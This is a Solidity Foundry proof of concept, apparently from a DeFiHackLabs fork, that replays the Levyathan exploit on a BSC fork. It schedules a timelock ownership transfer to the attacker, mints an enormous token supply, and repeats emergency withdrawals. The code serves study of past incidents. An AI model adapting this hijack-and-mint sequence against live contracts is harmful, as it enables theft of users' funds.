forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Levyathan_poc.sol
140 lines (101 loc) · 4.66 KB
/
Levyathan_poc.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "forge-std/console.sol";
/*Key Information
The Levyathan developers left the private keys to a wallet with minting capability available on Github. -rekt
Attacker Address : 0x7507f84610f6d656a70eb8cdec044674799265d3
MasterChef(Vulnerable Contract) : 0xA3fDF7F376F4BFD38D7C4A5cf8AAb4dE68792fd4
Initial Timelock Schedule Transaction: https://bscscan.com/address/0x7507f84610f6d656a70eb8cdec044674799265d3
Transaction was scheduled : https://bscscan.com/tx/0xfd30def124c1345606598ae4817ae184fc1918fc638111c6e71bc9752361fd87
Transaction Executed : https://bscscan.com/tx/0xe6e504208ba90d121c3212a4f2547ae28e69790ab541d459c080ec8b1f3efab2
Post-Moderm : https://levyathan-index.medium.com/post-mortem-levyathan-c3ff7f9a6f65
POC-Written by :Sentient-X
twitter :@sentient_x
All thanks to the creator of this awesome repo
*/
contract ContractTest is Test {
ILEV LEV = ILEV(0x304c62b5B030176F8d328d3A01FEaB632FC929BA);
IMasterChef MasterChef = IMasterChef(0xA3fDF7F376F4BFD38D7C4A5cf8AAb4dE68792fd4);
ITimelock Timelock = ITimelock(0x16149999C85c3E3f7d1B9402a4c64d125877d89D);
address attacker = 0x7507f84610f6D656a70eb8CDEC044674799265D3;
address Deployer = 0x6DeBA0F8aB4891632fB8d381B27eceC7f7743A14;
address user1 = 0x160B6772c9976d21ddFB3e3211989Fa099451af7;
address user2 = 0x2db0500e1942626944efB106D6A66755802Cef20;
function setUp() public {
vm.createSelectFork("bsc",9545966); //fork bsc at block 9545967
vm.label(address(MasterChef), "MasterChef");
vm.label(address(LEV), "LEV");
vm.label(address(Timelock), "Timelock");
vm.label(address(Deployer), "Deployer");
}
function test_Timelock() public {
bytes memory Ownership_hijack = (abi.encodePacked(bytes4(keccak256(bytes("transferOwnership(address)"))),abi.encode(address(attacker))));
//Schedule a transaction from the Deployer current owner of timelock.
vm.startPrank(address(Deployer));
Timelock.schedule(
address(MasterChef),
0,
Ownership_hijack,
bytes32(0),
bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764),
172800);
//Validate that transaction is in timelock
bytes32 txHash = Timelock.hashOperation(
address(MasterChef),
0,
Ownership_hijack,
bytes32(0),
bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764)
);
assertTrue(Timelock.isOperationPending(txHash));
vm.roll(9600775);
vm.warp(block.timestamp + 172800);
//Execute transaction and validate state is updated
Timelock.execute(
address(MasterChef),
0,
Ownership_hijack,
bytes32(0),
bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764));
assertTrue(Timelock.isOperationDone(txHash));
vm.stopPrank();
//attacker address recovers LEV MasterChef Contract and mints 1 Octillion tokens
vm.startPrank(address(attacker));
MasterChef.recoverLevOwnership();
LEV.mint(address(attacker),100000000000000000000000000);
vm.stopPrank();
//Typical user1 tries to leave staking but gets revert error
vm.expectRevert();
vm.startPrank(address(user1));
MasterChef.leaveStaking(10000);
//Same user1 tries to withdraw but gets another revert error
vm.expectRevert();
MasterChef.withdraw(3, 272356000000000000000000);
vm.stopPrank();
//user2 does emergency withdraw and succeeds
vm.startPrank(address(user2));
MasterChef.emergencyWithdraw(4);
vm.stopPrank();
//user2 does another emergency withdraw and succeeds again.(Its actually user 3/4 that abused the emergencyWithdraw() vulnerability)
vm.startPrank(address(user2));
MasterChef.emergencyWithdraw(4);
vm.stopPrank();
}
}
interface ITimelock {
function schedule(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt, uint256 delay) external;
function hashOperation(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) external returns (bytes32 hash);
function isOperationPending(bytes32 id) external returns (bool pending);
function execute(address target, uint256 value, bytes calldata payload, bytes32 predecessor, bytes32 salt) external;
function isOperationDone(bytes32 id) external returns (bool done);
}
interface ILEV {
function mint(address receiver, uint256 amount) external;
}
interface IMasterChef {
function recoverLevOwnership() external;
function leaveStaking(uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
}